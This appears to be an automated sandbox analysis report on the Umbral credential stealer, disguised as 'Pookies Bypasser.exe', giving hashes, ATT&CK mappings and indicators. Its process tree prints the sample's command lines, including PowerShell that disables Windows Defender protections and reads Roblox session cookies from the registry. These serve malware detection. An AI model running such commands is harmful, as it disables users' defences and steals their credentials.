umbral | 6594aa4b2efc8137b453fe978ae2ff5ae6f055e4d79539fa4804933e208ffdf4

Analysis

max time kernel
13s
max time network
18s
platform
windows10-2004_x64
resource
win10v2004-20240508-fr
resource tags

arch:x64arch:x86image:win10v2004-20240508-frlocale:fr-fros:windows10-2004-x64systemwindows
submitted
11-05-2024 12:27

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General

Target

Pookies Bypasser.exe
Size

229KB
MD5

5dcae9f331eabd47b8a078fad0f812c8
SHA1

39baa462feac529cc7d907a9bc7028444748992e
SHA256

6594aa4b2efc8137b453fe978ae2ff5ae6f055e4d79539fa4804933e208ffdf4
SHA512

3ae8037c1bb7e48a2e0d1d8a06faba35bd998c6dda8f5c8dbe8a7cfae51e8c5f8ce6da3ba379a8690549a6bb5b2c9ef05b703aa34eaeabdc9ebb952dc083d756
SSDEEP

6144:VloZM+rIkd8g+EtXHkv/iD4S2eNiAfboSxUyzzqbKb8e1mri:3oZtL+EP8S2eNiAfboSxUyzzqyZ

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1976-1-0x00000150790F0000-0x0000015079130000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4944	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Pookies Bypasser.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	discord.com
19	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3440	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3260	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1976	Pookies Bypasser.exe
4944	powershell.exe
4944	powershell.exe
1572	powershell.exe
1572	powershell.exe
2852	powershell.exe
2852	powershell.exe
3688	powershell.exe
3688	powershell.exe
4928	powershell.exe
4928	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1976	Pookies Bypasser.exe
Token: SeIncreaseQuotaPrivilege	4384	wmic.exe
Token: SeSecurityPrivilege	4384	wmic.exe
Token: SeTakeOwnershipPrivilege	4384	wmic.exe
Token: SeLoadDriverPrivilege	4384	wmic.exe
Token: SeSystemProfilePrivilege	4384	wmic.exe
Token: SeSystemtimePrivilege	4384	wmic.exe
Token: SeProfSingleProcessPrivilege	4384	wmic.exe
Token: SeIncBasePriorityPrivilege	4384	wmic.exe
Token: SeCreatePagefilePrivilege	4384	wmic.exe
Token: SeBackupPrivilege	4384	wmic.exe
Token: SeRestorePrivilege	4384	wmic.exe
Token: SeShutdownPrivilege	4384	wmic.exe
Token: SeDebugPrivilege	4384	wmic.exe
Token: SeSystemEnvironmentPrivilege	4384	wmic.exe
Token: SeRemoteShutdownPrivilege	4384	wmic.exe
Token: SeUndockPrivilege	4384	wmic.exe
Token: SeManageVolumePrivilege	4384	wmic.exe
Token: 33	4384	wmic.exe
Token: 34	4384	wmic.exe
Token: 35	4384	wmic.exe
Token: 36	4384	wmic.exe
Token: SeIncreaseQuotaPrivilege	4384	wmic.exe
Token: SeSecurityPrivilege	4384	wmic.exe
Token: SeTakeOwnershipPrivilege	4384	wmic.exe
Token: SeLoadDriverPrivilege	4384	wmic.exe
Token: SeSystemProfilePrivilege	4384	wmic.exe
Token: SeSystemtimePrivilege	4384	wmic.exe
Token: SeProfSingleProcessPrivilege	4384	wmic.exe
Token: SeIncBasePriorityPrivilege	4384	wmic.exe
Token: SeCreatePagefilePrivilege	4384	wmic.exe
Token: SeBackupPrivilege	4384	wmic.exe
Token: SeRestorePrivilege	4384	wmic.exe
Token: SeShutdownPrivilege	4384	wmic.exe
Token: SeDebugPrivilege	4384	wmic.exe
Token: SeSystemEnvironmentPrivilege	4384	wmic.exe
Token: SeRemoteShutdownPrivilege	4384	wmic.exe
Token: SeUndockPrivilege	4384	wmic.exe
Token: SeManageVolumePrivilege	4384	wmic.exe
Token: 33	4384	wmic.exe
Token: 34	4384	wmic.exe
Token: 35	4384	wmic.exe
Token: 36	4384	wmic.exe
Token: SeDebugPrivilege	4944	powershell.exe
Token: SeDebugPrivilege	1572	powershell.exe
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeDebugPrivilege	3688	powershell.exe
Token: SeIncreaseQuotaPrivilege	3016	wmic.exe
Token: SeSecurityPrivilege	3016	wmic.exe
Token: SeTakeOwnershipPrivilege	3016	wmic.exe
Token: SeLoadDriverPrivilege	3016	wmic.exe
Token: SeSystemProfilePrivilege	3016	wmic.exe
Token: SeSystemtimePrivilege	3016	wmic.exe
Token: SeProfSingleProcessPrivilege	3016	wmic.exe
Token: SeIncBasePriorityPrivilege	3016	wmic.exe
Token: SeCreatePagefilePrivilege	3016	wmic.exe
Token: SeBackupPrivilege	3016	wmic.exe
Token: SeRestorePrivilege	3016	wmic.exe
Token: SeShutdownPrivilege	3016	wmic.exe
Token: SeDebugPrivilege	3016	wmic.exe
Token: SeSystemEnvironmentPrivilege	3016	wmic.exe
Token: SeRemoteShutdownPrivilege	3016	wmic.exe
Token: SeUndockPrivilege	3016	wmic.exe
Token: SeManageVolumePrivilege	3016	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 4384	1976	Pookies Bypasser.exe	83
PID 1976 wrote to memory of 4384	1976	Pookies Bypasser.exe	83
PID 1976 wrote to memory of 4504	1976	Pookies Bypasser.exe	88
PID 1976 wrote to memory of 4504	1976	Pookies Bypasser.exe	88
PID 1976 wrote to memory of 4944	1976	Pookies Bypasser.exe	90
PID 1976 wrote to memory of 4944	1976	Pookies Bypasser.exe	90
PID 1976 wrote to memory of 1572	1976	Pookies Bypasser.exe	92
PID 1976 wrote to memory of 1572	1976	Pookies Bypasser.exe	92
PID 1976 wrote to memory of 2852	1976	Pookies Bypasser.exe	94
PID 1976 wrote to memory of 2852	1976	Pookies Bypasser.exe	94
PID 1976 wrote to memory of 3688	1976	Pookies Bypasser.exe	96
PID 1976 wrote to memory of 3688	1976	Pookies Bypasser.exe	96
PID 1976 wrote to memory of 3016	1976	Pookies Bypasser.exe	100
PID 1976 wrote to memory of 3016	1976	Pookies Bypasser.exe	100
PID 1976 wrote to memory of 3660	1976	Pookies Bypasser.exe	102
PID 1976 wrote to memory of 3660	1976	Pookies Bypasser.exe	102
PID 1976 wrote to memory of 3956	1976	Pookies Bypasser.exe	104
PID 1976 wrote to memory of 3956	1976	Pookies Bypasser.exe	104
PID 1976 wrote to memory of 4928	1976	Pookies Bypasser.exe	106
PID 1976 wrote to memory of 4928	1976	Pookies Bypasser.exe	106
PID 1976 wrote to memory of 3440	1976	Pookies Bypasser.exe	108
PID 1976 wrote to memory of 3440	1976	Pookies Bypasser.exe	108
PID 1976 wrote to memory of 4652	1976	Pookies Bypasser.exe	111
PID 1976 wrote to memory of 4652	1976	Pookies Bypasser.exe	111
PID 4652 wrote to memory of 3260	4652	cmd.exe	113
PID 4652 wrote to memory of 3260	4652	cmd.exe	113

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4504	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe
"C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4384
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe"
  2⤵
  - Views/modifies file attributes
  PID:4504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3688
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3016
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3660
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4928
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3440
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4652
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:3260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
0b8cb2e6dd5794b6a56a4bdbbd430fd7

SHA1
2b08e348c3489c6a35761af073018e3784c12074

SHA256
bcce0d44e33747e4c39df9afbd0a4e98a47ded0188375e4dfdd94cafbb366e1f

SHA512
15ce3b588aa80899f69b0313c7e188d886bddbd09783ca732ac33f9ae8e4e017a72b6f98919f581383a4582732575e5faedb0dea87e01cf2b657424945fdf4d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d3235ed022a42ec4338123ab87144afa

SHA1
5058608bc0deb720a585a2304a8f7cf63a50a315

SHA256
10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27

SHA512
236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7511c81925750deb7ad1b9b80eea8a8d

SHA1
6ea759b3cbd243ae11435c6d6c5ced185eb01f49

SHA256
5b49723a7773f2fe1f6093236e7b9b2c546f0873635d02346cb39535811234fa

SHA512
5f7e69316d39525d137a7a833f8c746ceef8f1b2295348393fb3244cca8b962fbaad0f7da49da453fe97e2c49b1f41f06138111ac5ff97fdc33c300350ec3a1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5fwudha2.fir.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1976-1-0x00000150790F0000-0x0000015079130000-memory.dmp

Filesize
256KB

Download
memory/1976-94-0x00007FFB2D2E0000-0x00007FFB2DDA1000-memory.dmp

Filesize
10.8MB

Download
memory/1976-39-0x000001507B7E0000-0x000001507B7FE000-memory.dmp

Filesize
120KB

Download
memory/1976-76-0x000001507BAA0000-0x000001507BAB2000-memory.dmp

Filesize
72KB

Download
memory/1976-75-0x000001507B810000-0x000001507B81A000-memory.dmp

Filesize
40KB

Download
memory/1976-4-0x000001507B990000-0x000001507BA92000-memory.dmp

Filesize
1.0MB

Download
memory/1976-3-0x000001507B830000-0x000001507B872000-memory.dmp

Filesize
264KB

Download
memory/1976-2-0x00007FFB2D2E0000-0x00007FFB2DDA1000-memory.dmp

Filesize
10.8MB

Download
memory/1976-0-0x00007FFB2D2E3000-0x00007FFB2D2E5000-memory.dmp

Filesize
8KB

Download
memory/1976-37-0x000001507B900000-0x000001507B976000-memory.dmp

Filesize
472KB

Download
memory/1976-38-0x000001507B880000-0x000001507B8D0000-memory.dmp

Filesize
320KB

Download
memory/4944-6-0x00007FFB2D2E0000-0x00007FFB2DDA1000-memory.dmp

Filesize
10.8MB

Download
memory/4944-22-0x00007FFB2D2E0000-0x00007FFB2DDA1000-memory.dmp

Filesize
10.8MB

Download
memory/4944-8-0x000001BDC6070000-0x000001BDC60FA000-memory.dmp

Filesize
552KB

Download
memory/4944-19-0x000001BDC6130000-0x000001BDC6152000-memory.dmp

Filesize
136KB

Download
memory/4944-18-0x000001BDC6020000-0x000001BDC6030000-memory.dmp

Filesize
64KB

Download
memory/4944-7-0x00007FFB2D2E0000-0x00007FFB2DDA1000-memory.dmp

Filesize
10.8MB

Download
memory/4944-5-0x00007FFB2D2E0000-0x00007FFB2DDA1000-memory.dmp

Filesize
10.8MB

Download